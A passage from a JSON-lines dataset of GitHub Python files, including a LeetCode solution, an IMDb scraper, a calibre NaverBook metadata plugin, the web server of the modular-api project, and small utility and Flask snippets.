:name :\n :color :\n :text_color :\n :permissions: dict of 'everyone', 'admins', 'moderators', 'staff' with values of ???\n :parent :\n :kwargs :\n >>> discourse.create_category(name=\"自動產生\", color=\"3c3945\")\n \"\"\"\n return self.client.create_category(name=name, color=color, text_color=text_color,\n permissions=permissions, parent=parent, **kwargs)\n","repo_name":"chairco/vtdiscourse","sub_path":"vtdiscourse/vtdiscourse.py","file_name":"vtdiscourse.py","file_ext":"py","file_size_in_byte":7250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"13707522388","text":"from typing import List\n\n\ndef check_possibility(nums: List[int]) -> bool:\n cnt = 0\n for i in range(1, len(nums)):\n if nums[i - 1] <= nums[i]:\n continue\n\n if i >= 2 and nums[i - 2] > nums[i]:\n nums[i] = nums[i - 1]\n else:\n nums[i - 1] = nums[i]\n cnt += 1\n if cnt > 1:\n return False\n return True\n\n # first attempt\n # if len(nums) < 2:\n # return True\n # cnt = 0\n # for i in range(len(nums) - 1):\n # if nums[i] <= nums[i + 1]:\n # continue\n # if cnt:\n # return False\n # else:\n # left = -float('inf') if i == 0 else nums[i - 1]\n # right = float('inf') if i + 1 == len(nums) - 1 else nums[i + 2]\n # if left <= nums[i] <= right:\n # cnt += 1\n # nums[i + 1] = nums[i]\n # elif left <= nums[i + 1] <= right:\n # cnt += 1\n # nums[i] = nums[i + 1]\n # else:\n # return False\n # return True\n\n\nif __name__ == '__main__':\n assert(check_possibility([4, 2, 3]))\n assert(not check_possibility([4, 2, 1]))\n\n","repo_name":"MingyiZhang/code996","sub_path":"solutions/python/NonDecreasingArray/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"42606827143","text":"import pandas as pd\nfrom bs4 import BeautifulSoup\nfrom urllib.request import Request, urlopen\nfrom tqdm import tqdm\n\n\ndef scrap_summary(tconst):\n url = f'https://www.imdb.com/title/{tconst}/'\n req = Request(url=url, headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n soup = BeautifulSoup(webpage, features='lxml')\n \n summary = soup.find('span', {'class': 'sc-16ede01-0 fMPjMP'}).text\n return summary\n\n\nif __name__ == '__main__':\n with open('treated_datasets/most_successful_333.txt', 'r') as f:\n top_tconsts = f.read().split('\\n')\n \n summaries = []\n for tconst in tqdm(top_tconsts):\n summaries.append(scrap_summary(tconst))\n \n df = pd.DataFrame({'tconst': top_tconsts, 'summary': summaries})\n df.to_csv('treated_datasets/top333_summaries.tsv', sep='\\t')","repo_name":"MBorgesT/DataVisProject","sub_path":"scrapers/summary.py","file_name":"summary.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14152620467","text":"#!/usr/bin/env python\n# vim:fileencoding=UTF-8:ts=4:sw=4:sta:et:sts=4:ai\nfrom __future__ import (unicode_literals, division, absolute_import,\n print_function)\n\n__license__ = 'GPL v3'\n__copyright__ = 'Jin, Heonkyu '\n__docformat__ = 'restructuredtext en'\n\nimport time\nfrom urllib import quote\nfrom Queue import Queue, Empty\n\nfrom lxml.html import fromstring, tostring\n\nfrom calibre import as_unicode\nfrom calibre.ebooks.metadata import check_isbn\nfrom calibre.ebooks.metadata.sources.base import Source\nfrom calibre.utils.icu import lower\nfrom calibre.utils.cleantext import clean_ascii_chars\n\nload_translations()\n\nclass NaverBook(Source):\n name = 'NaverBook'\n description = _('Downloads metadata and covers from book.naver.com')\n author = 'Jin, Heonkyu '\n version = (0, 0, 3)\n minimum_calibre_version = (0, 8, 0)\n\n capabilities = frozenset(['identify', 'cover'])\n touched_fields = frozenset(['title', 'authors', 'identifier:naverbook',\n 'identifier:isbn', 'rating', 'comments', 'publisher', 'pubdate',\n 'tags', 'series', 'languages'])\n has_html_comments = True\n supports_gzip_transfer_encoding = True\n\n BASE_URL = 'http://book.naver.com'\n MAX_EDITIONS = 5\n\n def config_widget(self):\n '''\n Overriding the default configuration screen for our own custom configuration\n '''\n from calibre_plugins.naverbook.config import ConfigWidget\n return ConfigWidget(self)\n\n def get_book_url(self, identifiers):\n naverbook_id = identifiers.get('naverbook', None)\n if naverbook_id:\n return ('naverbook', naverbook_id,\n '%s/bookdb/book_detail.nhn?bid=%s' % (NaverBook.BASE_URL, naverbook_id))\n\n def create_query(self, log, title=None, authors=None, identifiers={}):\n isbn = check_isbn(identifiers.get('isbn', None))\n q = ''\n url = ''\n if isbn is not None:\n q = '&isbn=' + isbn\n url = '/search/search.nhn?serviceSm=advbook.basic&ic=service.summary' + q\n elif title or authors:\n title_tokens = list(self.get_title_tokens(title,\n strip_joiners=False, strip_subtitle=True))\n author_tokens = self.get_author_tokens(authors, only_first_author=True)\n\n tokens = [quote(t.encode('utf-8') if isinstance(t, unicode) else t) \n for t in title_tokens]\n tokens += [quote(t.encode('utf-8') if isinstance(t, unicode) else t) \n for t in author_tokens]\n q += '&query=' + '+'.join(tokens)\n url = '/search/search.nhn?sm=sta_hty.book' + q\n\n if not url:\n return None\n\n log.info('Search from %s' %(url))\n return NaverBook.BASE_URL + url\n\n def get_cached_cover_url(self, identifiers):\n url = None\n naverbook_id = identifiers.get('naverbook', None)\n if naverbook_id is None:\n isbn = identifiers.get('isbn', None)\n if isbn is not None:\n naverbook_id = self.cached_isbn_to_identifier(isbn)\n if naverbook_id is not None:\n url = self.cached_identifier_to_cover_url(naverbook_id)\n\n return url\n\n def identify(self, log, result_queue, abort, title=None, authors=None,\n identifiers={}, timeout=30):\n '''\n Note this method will retry without identifiers automatically if no\n match is found with identifiers.\n '''\n matches = []\n # Unlike the other metadata sources, if we have a goodreads id then we\n # do not need to fire a \"search\" at Goodreads.com. Instead we will be\n # able to go straight to the URL for that book.\n naverbook_id = identifiers.get('naverbook', None)\n isbn = check_isbn(identifiers.get('isbn', None))\n br = self.browser\n if naverbook_id:\n matches.append('%s/bookdb/book_detail.nhn?bid=%s' % (NaverBook.BASE_URL, naverbook_id))\n else:\n query = self.create_query(log, title=title, authors=authors,\n identifiers=identifiers)\n if query is None:\n log.error('Insufficient metadata to construct query')\n return\n try:\n log.info('Querying: %s' % query)\n response = br.open_novisit(query, timeout=timeout)\n except Exception as e:\n err = 'Failed to make identify query: %r' % query\n log.exception(err)\n return as_unicode(e)\n\n try:\n raw = response.read().strip()\n #open('E:\\\\t.html', 'wb').write(raw)\n raw = raw.decode('utf-8', errors='replace')\n if not raw:\n log.error('Failed to get raw result for query: %r' % query)\n return\n root = fromstring(clean_ascii_chars(raw))\n except:\n msg = 'Failed to parse goodreads page for query: %r' % query\n log.exception(msg)\n return msg\n # Now grab the first value from the search results, provided the\n # title and authors appear to be for the same book\n self._parse_search_results(log, isbn, title, authors, root, matches, timeout)\n\n if abort.is_set():\n return\n\n if not matches:\n if identifiers and title and authors:\n log.info('No matches found with identifiers, retrying using only'\n ' title and authors')\n return self.identify(log, result_queue, abort, title=title,\n authors=authors, timeout=timeout)\n log.error('No matches found with query: %r' % query)\n return\n\n from calibre_plugins.naverbook.worker import Worker\n workers = [Worker(url, result_queue, br, log, i, self) for i, url in\n enumerate(matches)]\n\n for w in workers:\n w.start()\n # Don't send all requests at the same time\n time.sleep(0.1)\n\n while not abort.is_set():\n a_worker_is_alive = False\n for w in workers:\n w.join(0.2)\n if abort.is_set():\n break\n if w.is_alive():\n a_worker_is_alive = True\n if not a_worker_is_alive:\n break\n\n return None\n\n def _parse_search_results(self, log, isbn, orig_title, orig_authors, root, matches, timeout):\n search_result = root.xpath('//ul[@id=\"searchBiblioList\"]/li/dl')\n if not search_result:\n return\n log.info(search_result[0])\n title_tokens = list(self.get_title_tokens(orig_title))\n author_tokens = list(self.get_author_tokens(orig_authors, True))\n\n matched_node = None\n if isbn:\n matched_node = search_result[0]\n else:\n import difflib\n similarities = []\n for i in range(len(search_result)):\n title = search_result[i].xpath('./dt/a')[0].text_content()\n author = search_result[i].xpath('./dd[@class=\"txt_block\"]/a')[0].text_content()\n log.info('Compare %s (%s) with %s (%s)' % (title, author, \n ' '.join(title_tokens), \n ' '.join(author_tokens)))\n title_similarity = difflib.SequenceMatcher(None, \n title.replace(' ', ''), ''.join(title_tokens)).ratio()\n author_similarity = difflib.SequenceMatcher(None, \n author.replace(' ', ''), ''.join(author_tokens)).ratio()\n similarities.append(title_similarity * author_similarity)\n matched_node = search_result[similarities.index(max(similarities))]\n\n if matched_node is None:\n log.error('Rejecting as not close enough match: %s %s' % (title, authors))\n return\n\n first_result_url_node = matched_node.xpath('./dt/a/@href')\n if first_result_url_node:\n import calibre_plugins.naverbook.config as cfg\n c = cfg.plugin_prefs[cfg.STORE_NAME]\n result_url = first_result_url_node[0]\n matches.append(result_url)\n\n def download_cover(self, log, result_queue, abort,\n title=None, authors=None, identifiers={}, timeout=30):\n cached_url = self.get_cached_cover_url(identifiers)\n if cached_url is None:\n log.info('No cached cover found, running identify')\n rq = Queue()\n self.identify(log, rq, abort, title=title, authors=authors,\n identifiers=identifiers)\n if abort.is_set():\n return\n results = []\n while True:\n try:\n results.append(rq.get_nowait())\n except Empty:\n break\n results.sort(key=self.identify_results_keygen(\n title=title, authors=authors, identifiers=identifiers))\n for mi in results:\n cached_url = self.get_cached_cover_url(mi.identifiers)\n if cached_url is not None:\n break\n if cached_url is None:\n log.info('No cover found')\n return\n\n if abort.is_set():\n return\n br = self.browser\n log('Downloading cover from:', cached_url)\n try:\n cdata = br.open_novisit(cached_url, timeout=timeout).read()\n result_queue.put((self, cdata))\n except:\n log.exception('Failed to download cover from:', cached_url)\n\n\nif __name__ == '__main__': # tests\n # To run these test use:\n # calibre-debug -e __init__.py\n from calibre.ebooks.metadata.sources.test import (test_identify_plugin,\n title_test, authors_test, series_test)\n\n test_identify_plugin(NaverBook.name,\n [\n (# A book with an ISBN\n {'identifiers':{'isbn': '9780385340588'},\n 'title':'61 Hours', 'authors':['Lee Child']},\n [title_test('61 Hours', exact=True),\n authors_test(['Lee Child']),\n series_test('Jack Reacher', 14.0)]\n ),\n\n (# A book throwing an index error\n {'title':'The Girl Hunters', 'authors':['Mickey Spillane']},\n [title_test('The Girl Hunters', exact=True),\n authors_test(['Mickey Spillane']),\n series_test('Mike Hammer', 7.0)]\n ),\n\n (# A book with no ISBN specified\n {'title':\"Playing with Fire\", 'authors':['Derek Landy']},\n [title_test(\"Playing with Fire\", exact=True),\n authors_test(['Derek Landy']),\n series_test('Skulduggery Pleasant', 2.0)]\n ),\n\n (# A book with a Goodreads id\n {'identifiers':{'goodreads': '6977769'},\n 'title':'61 Hours', 'authors':['Lee Child']},\n [title_test('61 Hours', exact=True),\n authors_test(['Lee Child']),\n series_test('Jack Reacher', 14.0)]\n ),\n\n ])\n\n\n","repo_name":"hkjinlee/calibre-naverbook-plugin","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11233,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"7733156131","text":"import importlib.util\nimport json\nimport os\nimport sys\nfrom functools import lru_cache\nfrom pathlib import Path\nfrom time import sleep\nfrom unittest.mock import MagicMock\n\nimport beaker.middleware\nimport click.exceptions\nimport pkg_resources\nfrom bottle import (default_app, run, route, request, BaseRequest,\n get, view, post, redirect, hook)\nfrom ddtrace import tracer\nfrom swagger_ui import api_doc\n\nfrom modular_api import RequestQueue, StatisticService\nfrom services.permissions_cache_service import permissions_handler_instance\nfrom helpers.request_processor import generate_route_meta_mapping\nfrom helpers.response_processor import process_response\nfrom commands_generator import (resolve_group_name,\n get_file_names_which_contains_admin_commands)\nfrom helpers.compatibility_check import CompatibilityChecker\nfrom helpers.exceptions import (ModularApiUnauthorizedException,\n ModularApiBadRequestException,\n ModularApiConfigurationException)\nfrom helpers.jwt_auth import encode_data_to_jwt, username_from_jwt_token, \\\n decode_jwt_token\nfrom helpers.log_helper import get_logger, exception_handler_formatter\nfrom helpers.params_converter import convert_api_params\nfrom helpers.response_utils import get_trace_id, build_response\nfrom helpers.utilities import prepare_request_path, token_from_auth_header\nfrom helpers.constants import (\n HTTP_OK, MODULES_PATH, MODULE_NAME_KEY, HTTP_BAD_REQUEST)\nfrom helpers.constants import MODULAR_API_USERNAME, SWAGGER_ENABLED_KEY, \\\n COMMANDS_BASE_FILE_NAME, API_MODULE_FILE, MOUNT_POINT_KEY\nfrom swagger.generate_open_api_spec import associate_definition_with_group\nfrom web_service import META_VERSION_ID\nfrom web_service.config import Config\nfrom web_service.response_processor import (build_exception_content,\n validate_request,\n extract_and_convert_parameters,\n get_group_path)\nfrom web_service.settings import SESSION_SETTINGS, SWAGGER_SETTINGS\nfrom modular_sdk.modular import Modular\n\n_LOG = get_logger('index')\n\nMODULE_GROUP_GROUP_OBJECT_MAPPING = {}\nCONFIG = Config()\nSWAGGER_PATH = CONFIG.swagger_ui_path\ntracer.configure(writer=MagicMock())\nWEB_SERVICE_PATH = os.path.dirname(__file__)\n\nSWAGGER_ALLOWED_PATH = []\n\nPERMISSION_SERVICE = permissions_handler_instance()\nUSAGE_SERVICE = StatisticService()\nREQUEST_QUEUE = RequestQueue()\nTHREAD_LOCAL_STORAGE = Modular().thread_local_storage_service()\n\n\ndef resolve_permissions(tracer, empty_cache=None):\n def decorator(func):\n def wrapper(*a, **ka):\n sleep(0.35)\n user, password = request.auth or (None, None)\n token = None\n if not password: # not basic auth -> probably bearer\n header = request.headers.get('Authorization')\n token = token_from_auth_header(header) if header else None\n try:\n allowed_commands, user_meta = \\\n PERMISSION_SERVICE.authenticate_user(\n username=user,\n password=password,\n token=token,\n empty_cache=empty_cache\n )\n ka['allowed_commands'] = allowed_commands\n ka['user_meta'] = user_meta\n return func(*a, **ka)\n except Exception as e:\n _trace_id = get_trace_id(tracer=tracer)\n exception_handler_formatter(\n logger=_LOG,\n exception=e,\n trace_id=_trace_id\n )\n code, content = build_exception_content(exception=e)\n error_response = build_response(_trace_id=_trace_id,\n http_code=code,\n content=content)\n return error_response\n\n return wrapper\n\n return decorator\n\n\ndef get_module_group_and_associate_object():\n modules_path = Path(__file__).parent.resolve() / MODULES_PATH\n global MODULE_GROUP_GROUP_OBJECT_MAPPING\n for module in os.listdir(modules_path):\n module_api_config = os.path.join(modules_path, module,\n API_MODULE_FILE)\n with open(module_api_config) as file:\n api_config = json.load(file)\n\n module_path = os.path.join(modules_path, module)\n if module_path not in sys.path:\n sys.path.append(module_path)\n\n cli_path = api_config['cli_path']\n mount_point = api_config['mount_point']\n\n command_group_path = os.path.join(modules_path, module,\n *cli_path.split('/'))\n listdir = get_file_names_which_contains_admin_commands(\n path_to_scan=command_group_path)\n for command_group in listdir:\n group_full_name_list, group_name = resolve_group_name(\n group_file=command_group)\n is_private_group = (type(group_full_name_list) == list and\n group_full_name_list[0] == 'private' or\n group_full_name_list == 'private')\n\n if is_private_group ^ CONFIG.is_private_mode_enabled:\n continue\n group_path = get_group_path(mount_point=mount_point,\n group_name=group_name)\n module_spec = importlib.util.spec_from_file_location(\n group_name,\n os.path.join(command_group_path, command_group))\n imported_module = importlib.util.module_from_spec(module_spec)\n module_spec.loader.exec_module(imported_module)\n MODULE_GROUP_GROUP_OBJECT_MAPPING.update(\n {group_path: imported_module})\n return MODULE_GROUP_GROUP_OBJECT_MAPPING\n\n\ndef _initialize():\n # loading configuration\n commands_base_path = os.path.join(WEB_SERVICE_PATH,\n COMMANDS_BASE_FILE_NAME)\n if not os.path.exists(commands_base_path):\n raise ModularApiConfigurationException(\n 'Can not run server without any installed modules')\n\n with open(commands_base_path) as file:\n valid_commands = json.load(file)\n\n CONFIG.set_available_commands(\n available_commands=valid_commands)\n _LOG.info('[init] Commands base phase completed')\n\n host = CONFIG.host\n port = CONFIG.port\n get_module_group_and_associate_object()\n return host, port\n\n\n@route('/doc', method='GET')\n@route(f'{CONFIG.prefix}/doc', method='GET')\n@tracer.wrap()\n@resolve_permissions(tracer=tracer)\ndef web_help(allowed_commands, user_meta):\n _trace_id = get_trace_id(tracer=tracer)\n return build_response(\n _trace_id=_trace_id,\n http_code=HTTP_OK,\n content={'available_commands': allowed_commands},\n message=\"This is the Modular-API administration tool. \"\n \"To request support, please contact \"\n \"Modular Support Team\")\n\n\n@route('/doc/', method='GET')\n@route(f'{CONFIG.prefix}/doc/', method='GET')\n@tracer.wrap()\n@resolve_permissions(tracer=tracer)\ndef generate_group_or_command_help(path, allowed_commands, user_meta):\n _trace_id = get_trace_id(tracer=tracer)\n path = prepare_request_path(path=request.path, prefix=CONFIG.prefix). \\\n replace('/doc', '')\n\n route_meta_mapping = generate_route_meta_mapping(\n commands_meta=allowed_commands)\n\n requested_command = []\n requested_commands = []\n for itinerary, command_meta in route_meta_mapping.items():\n if path in itinerary:\n requested_commands.append(command_meta)\n elif path == itinerary:\n requested_command.append(command_meta)\n\n if not any((requested_command, requested_commands)):\n return build_response(\n _trace_id=_trace_id,\n http_code=404,\n message='Can not found requested resource')\n\n return build_response(\n _trace_id=_trace_id,\n http_code=HTTP_OK,\n content={\n 'available_commands': requested_command or requested_commands},\n message=\"This is the Modular-API administration tool. \"\n \"To request support, please contact \"\n \"Modular Support Team\")\n\n\ndef __validate_cli_version(_trace_id):\n version_warning = None\n error_response = None\n try:\n version_warning = CompatibilityChecker().check_compatibility(\n request=request,\n allowed_version=CONFIG.minimal_allowed_cli_version\n )\n return version_warning, error_response\n except ModularApiBadRequestException as e:\n exception_handler_formatter(\n logger=_LOG,\n exception=e,\n trace_id=_trace_id\n )\n\n code, content = build_exception_content(exception=e)\n error_response = build_response(_trace_id=_trace_id,\n http_code=code,\n content=content)\n return version_warning, error_response\n\n\n@route('/login', method=['GET'])\n@route(f'{CONFIG.prefix}/login', method=['GET'])\n@tracer.wrap()\n@resolve_permissions(tracer=tracer, empty_cache=True)\ndef login(allowed_commands, user_meta):\n _trace_id = get_trace_id(tracer=tracer)\n version_warning, error_response = __validate_cli_version(\n _trace_id=_trace_id\n )\n if error_response:\n return error_response\n\n username, _ = request.auth\n meta_param = request.params.dict.get('meta')\n meta_return = False\n if meta_param:\n if isinstance(meta_param, list) and meta_param:\n meta_return = meta_param[0]\n meta_return = True if meta_return.lower() == 'true' else False\n jwt_token = encode_data_to_jwt(username=username)\n data = {\n 'jwt': jwt_token,\n 'version': __resolve_version()\n }\n if meta_return:\n data['meta'] = add_versions_to_allowed_modules(\n allowed_commands=allowed_commands)\n if version_warning:\n data['warnings'] = version_warning\n\n return build_response(_trace_id=_trace_id, http_code=HTTP_OK, content=data)\n\n\n@lru_cache()\ndef __resolve_version():\n from version import modular_api_version as version\n return version\n\n\ndef add_versions_to_allowed_modules(allowed_commands: dict):\n # todo refactor with resolve_user_available_components_version ASAP\n modules_path = Path(MODULES_PATH)\n for module in modules_path.iterdir():\n api_file_path = module / API_MODULE_FILE\n if not module.is_dir() or not api_file_path.exists():\n continue\n with open(str(api_file_path), 'r') as file:\n module_descriptor = json.load(file)\n\n mount_point = module_descriptor[MOUNT_POINT_KEY]\n if mount_point in allowed_commands.keys():\n allowed_commands[mount_point]['version'] = pkg_resources. \\\n get_distribution(\n module_descriptor[MODULE_NAME_KEY]\n ).version\n return allowed_commands\n\n\ndef resolve_user_available_components_version(allowed_commands: dict):\n modules_path = Path(__file__).parent / 'modules'\n components_versions = {}\n for module in modules_path.iterdir():\n api_file_path = module / API_MODULE_FILE\n if not module.is_dir() or not api_file_path.exists():\n continue\n with open(str(api_file_path), 'r') as file:\n module_descriptor = json.load(file)\n if module_descriptor[MOUNT_POINT_KEY] in allowed_commands.keys():\n module_name = module_descriptor[MODULE_NAME_KEY]\n components_versions[module_name] = pkg_resources.get_distribution(\n module_name\n ).version\n return components_versions\n\n\n@route('/version', method=['GET'])\n@route(f'{CONFIG.prefix}/version', method=['GET'])\n@tracer.wrap()\n@resolve_permissions(tracer=tracer, empty_cache=False)\ndef version(allowed_commands, user_meta):\n _trace_id = get_trace_id(tracer=tracer)\n resolve_user_available_components_version(allowed_commands)\n data = {\n 'modular_api': __resolve_version(),\n }\n components_version = resolve_user_available_components_version(\n allowed_commands\n )\n if components_version:\n data['components_version'] = components_version\n response_template = {\n \"items\": data,\n \"table_title\": 'User available component(s) version',\n \"warnings\": [],\n \"message\": None\n }\n return build_response(\n _trace_id=_trace_id,\n http_code=HTTP_OK,\n content=response_template\n )\n\n\n@route('/health_check', method=['GET'])\n@route(f'{CONFIG.prefix}/health_check', method=['GET'])\n@tracer.wrap()\ndef version():\n _trace_id = get_trace_id(tracer=tracer)\n return build_response(\n _trace_id=_trace_id,\n http_code=HTTP_OK,\n content=None\n )\n\n\n@route('/stats', method=['POST'])\n@route(f'{CONFIG.prefix}/stats', method=['POST'])\n@tracer.wrap()\n@resolve_permissions(tracer=tracer, empty_cache=True)\ndef stats(allowed_commands, user_meta):\n _trace_id = get_trace_id(tracer=tracer)\n entry_request = request\n required_params = ['EventType', 'Product', 'JobId', 'Status', 'Meta']\n\n absent_params = [param for param in required_params\n if not entry_request.json.get(param)]\n if absent_params:\n return build_response(_trace_id=_trace_id, http_code=HTTP_BAD_REQUEST,\n content=None)\n\n payload = {param: entry_request.json.get(param)\n for param in required_params}\n\n USAGE_SERVICE.save_stats(request=entry_request, payload=payload)\n return build_response(_trace_id=_trace_id, http_code=HTTP_OK, content=None)\n\n\ndef __automated_relogin(request_item) -> bool:\n header = request_item.headers.get('Authorization')\n raw_token = header.split(maxsplit=2)[-1]\n token = decode_jwt_token(raw_token)\n client_meta_version = token.get('meta_version')\n if client_meta_version == META_VERSION_ID:\n return False\n return True\n\n\n@route('//', method=['POST', 'GET'])\n@route('///', method=['POST', 'GET'])\n@route('////', method=['POST', 'GET'])\n@route('/////',\n method=['POST', 'GET'])\n@route(f'{CONFIG.prefix}//',\n method=['POST', 'GET'])\n@route(f'{CONFIG.prefix}///',\n method=['POST', 'GET'])\n@route(f'{CONFIG.prefix}////',\n method=['POST', 'GET'])\n@route(\n f'{CONFIG.prefix}/////',\n method=['POST', 'GET'])\n@tracer.wrap()\n@resolve_permissions(tracer=tracer)\ndef index(mount_point=None, group=None, command=None, parent_group=None,\n subgroup=None, allowed_commands=None, user_meta=None):\n _trace_id = get_trace_id(tracer=tracer)\n REQUEST_QUEUE.put(request)\n temp_files_list = []\n try:\n request_item = REQUEST_QUEUE.get()\n relogin_needed = __automated_relogin(request_item)\n auth_type = request_item.headers.get('authorization')\n if auth_type and auth_type.startswith('Basic'):\n relogin_needed = False\n if relogin_needed:\n # if you are going to change exception message - please change\n # correspond text in Modular-CLI\n raise ModularApiUnauthorizedException(\n 'The provided token has expired due to updates in '\n 'commands meta. Please get a new token from \\'/login\\' '\n 'resource')\n version_warning, error_response = __validate_cli_version(\n _trace_id=_trace_id\n )\n if error_response:\n return error_response\n\n path = prepare_request_path(path=request_item.path,\n prefix=CONFIG.prefix)\n method = request_item.method\n\n route_meta_mapping = generate_route_meta_mapping(\n commands_meta=allowed_commands)\n\n command_def = route_meta_mapping.get(path)\n if not command_def:\n raise ModularApiBadRequestException('Can not found requested '\n 'command')\n request_body_raw = extract_and_convert_parameters(\n request=request_item,\n command_def=command_def)\n\n request_body_raw = validate_request(command=command_def,\n req_params=request_body_raw,\n method=method,\n user_meta=user_meta)\n\n secure_parameters = command_def.get('secure_parameters', [])\n parameters, temp_files_list, body_to_log = \\\n convert_api_params(\n body=request_body_raw,\n command_def=command_def,\n secure_parameters=secure_parameters\n )\n _LOG.info('Request data: \\npath={}\\n'\n 'method={}\\nbody:\\n{}'.format(path, method,\n body_to_log))\n\n command_handler_name = command_def.get('handler')\n group_name = command_def.get('parent')\n mount_point = command_def.get('mount_point')\n group_path = get_group_path(mount_point=mount_point,\n group_name=group_name)\n\n correct_method = getattr(\n MODULE_GROUP_GROUP_OBJECT_MAPPING[group_path],\n command_handler_name)\n # todo get username from user_meta of somewhere else, but\n # not from header again.\n username = username_from_jwt_token(\n token_from_auth_header(request_item.headers.get('Authorization'))\n )\n # saving username to thread-local storage\n THREAD_LOCAL_STORAGE.set('modular_user', username)\n\n # hopefully, token will be here... otherwise 500, I mean, it must be\n # here because the endpoint is authorized by token\n try:\n response = correct_method.main(\n args=parameters,\n standalone_mode=False,\n obj={MODULAR_API_USERNAME: username}\n )\n except click.exceptions.UsageError as error:\n # just in case something is not handled\n return build_response(\n _trace_id=_trace_id,\n http_code=200, # means that click worked,\n message=str(error)\n )\n # obj goes to click.Context. Other module CLI should use it to\n # understand what user is making the request\n response = json.loads(response)\n _LOG.info(f'Obtained response {response} for {_trace_id} request')\n content, code = process_response(response=response)\n USAGE_SERVICE.save_stats(request=request_item, payload=response)\n if content.get('warnings'):\n if version_warning:\n content['warnings'].extend(version_warning)\n else:\n content['warnings'] = version_warning\n return build_response(_trace_id=_trace_id,\n http_code=code,\n content=content)\n\n except Exception as e:\n exception_handler_formatter(\n logger=_LOG,\n exception=e,\n trace_id=_trace_id\n )\n code, content = build_exception_content(exception=e)\n error_response = build_response(_trace_id=_trace_id,\n http_code=code,\n content=content)\n USAGE_SERVICE.save_stats(request=request_item, payload=content)\n return error_response\n finally:\n if temp_files_list:\n for each_file in temp_files_list:\n os.remove(each_file)\n\n\ndef swagger_login(swagger_path):\n @get(swagger_path)\n @view('login_swagger')\n @tracer.wrap()\n def swagger_login_get():\n return {'swagger_path': swagger_path}\n\n\ndef swagger_auth(swagger_path):\n @post(swagger_path)\n @tracer.wrap()\n def swagger_auth_post():\n username = request.forms.get('username')\n password = request.forms.get('password')\n try:\n allowed_commands, user_meta = PERMISSION_SERVICE.authenticate_user(\n username=username,\n password=password,\n empty_cache=True)\n group_swagger_link, output_file = associate_definition_with_group(\n username=username,\n swagger_path=swagger_path,\n available_commands=allowed_commands,\n prefix=CONFIG.prefix)\n\n api_doc(app,\n config_path=output_file,\n url_prefix=group_swagger_link,\n title='Modular-API docs',\n parameters=SWAGGER_SETTINGS)\n request.session[SWAGGER_ENABLED_KEY] = True\n SWAGGER_ALLOWED_PATH.append(group_swagger_link)\n return redirect(group_swagger_link)\n except ModularApiUnauthorizedException:\n return redirect('/swagger')\n\n\ndef secure_swagger_path(swagger_path):\n @hook('before_request')\n @tracer.wrap()\n def setup_request():\n request.session = request.environ['beaker.session']\n if request.path in SWAGGER_ALLOWED_PATH and not request.session.get(\n SWAGGER_ENABLED_KEY):\n redirect(swagger_path)\n\n\nif __name__ == \"__main__\":\n app = default_app()\n try:\n host, port = _initialize()\n\n BaseRequest.MEMFILE_MAX = 5 * 1024 * 1024 # allow processing content\n # less than 5MB\n\n app_middleware = beaker.middleware.SessionMiddleware(app,\n SESSION_SETTINGS)\n if CONFIG.swagger_ui_is_enabled:\n SWAGGER_PATH = CONFIG.prefix + SWAGGER_PATH\n swagger_login(swagger_path=SWAGGER_PATH)\n swagger_auth(swagger_path=SWAGGER_PATH)\n secure_swagger_path(swagger_path=SWAGGER_PATH)\n run(app_middleware, host=host, port=port)\n except Exception as e:\n exception_handler_formatter(\n logger=_LOG,\n exception=e,\n trace_id=None\n )\n raise ModularApiConfigurationException(e)\n","repo_name":"epam/modular-api","sub_path":"modular_api/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":22490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"69960536392","text":"import os\nimport shutil\n\n\ndef copy_dir(source_directory,\n target_directory):\n \"\"\"\n Copies files from source_directory to\\\n target_directory. If target directory doesn't exist\\\n it will be created.\n :param source_directory: source\n :type source_directory: str\n\n :param adict: if specified, adict will be printed\n :type adict: dict\n \"\"\"\n if os.path.isdir(source_directory):\n def deep_copy(source, target):\n \"\"\"Copies recursively all files from source to destination\n \"\"\"\n names = os.listdir(source)\n os.makedirs(target, exist_ok=True)\n for name in names:\n src_name = os.path.join(source, name)\n tgt_name = os.path.join(target, name)\n if os.path.isdir(src_name):\n # source is a directory\n deep_copy(src_name, tgt_name)\n else:\n # source is a file\n print('Copying \"{}\" to \"{}\" ...'\n .format(src_name, tgt_name))\n shutil.copy2(src_name, tgt_name)\n\n # copy files recursively\n deep_copy(source_directory,\n target_directory)\n else:\n print('Error. Directory \"{}\" was not found.'.format(source_directory))\n","repo_name":"IBM/MAX-Training-Framework","sub_path":"max_training_framework/utils/os_util.py","file_name":"os_util.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"18408313626","text":"\"\"\"\nOpqua.\n\nAn epidemiological modeling framework for population genetics and evolution.\n\"\"\"\n\n__version__ = \"0.2.1\"\n__author__ = 'Pablo Cardenas'\n__credits__ = 'Massachusetts Institute of Technology'\n\n# init file to make this directory into a python package\nfrom os.path import dirname, basename, isfile\nimport glob\nmodules = glob.glob(dirname(__file__)+\"/*.py\")\n__all__ = [ basename(f)[:-3] for f in modules if isfile(f)]\n","repo_name":"pablocarderam/opqua","sub_path":"opqua/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"27"} +{"seq_id":"30003375706","text":"from flask import Flask, render_template, request\nimport requests\nimport datetime\napp = Flask(__name__)\nyear = datetime.datetime.now().year\nall_posts = requests.get(\"https://api.npoint.io/5abcca6f4e39b4955965\").json()\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef home(username=None):\n if not username and not request.args.get('name'):\n return render_template(\"index.html\", year=year)\n else:\n if username is None:\n username = request.args.get('name')\n gender = requests.get(f\"https://api.genderize.io/?name={username}\").json()\n age = requests.get(f\"https://api.agify.io/?name={username}\").json()\n user = { \"name\": username, 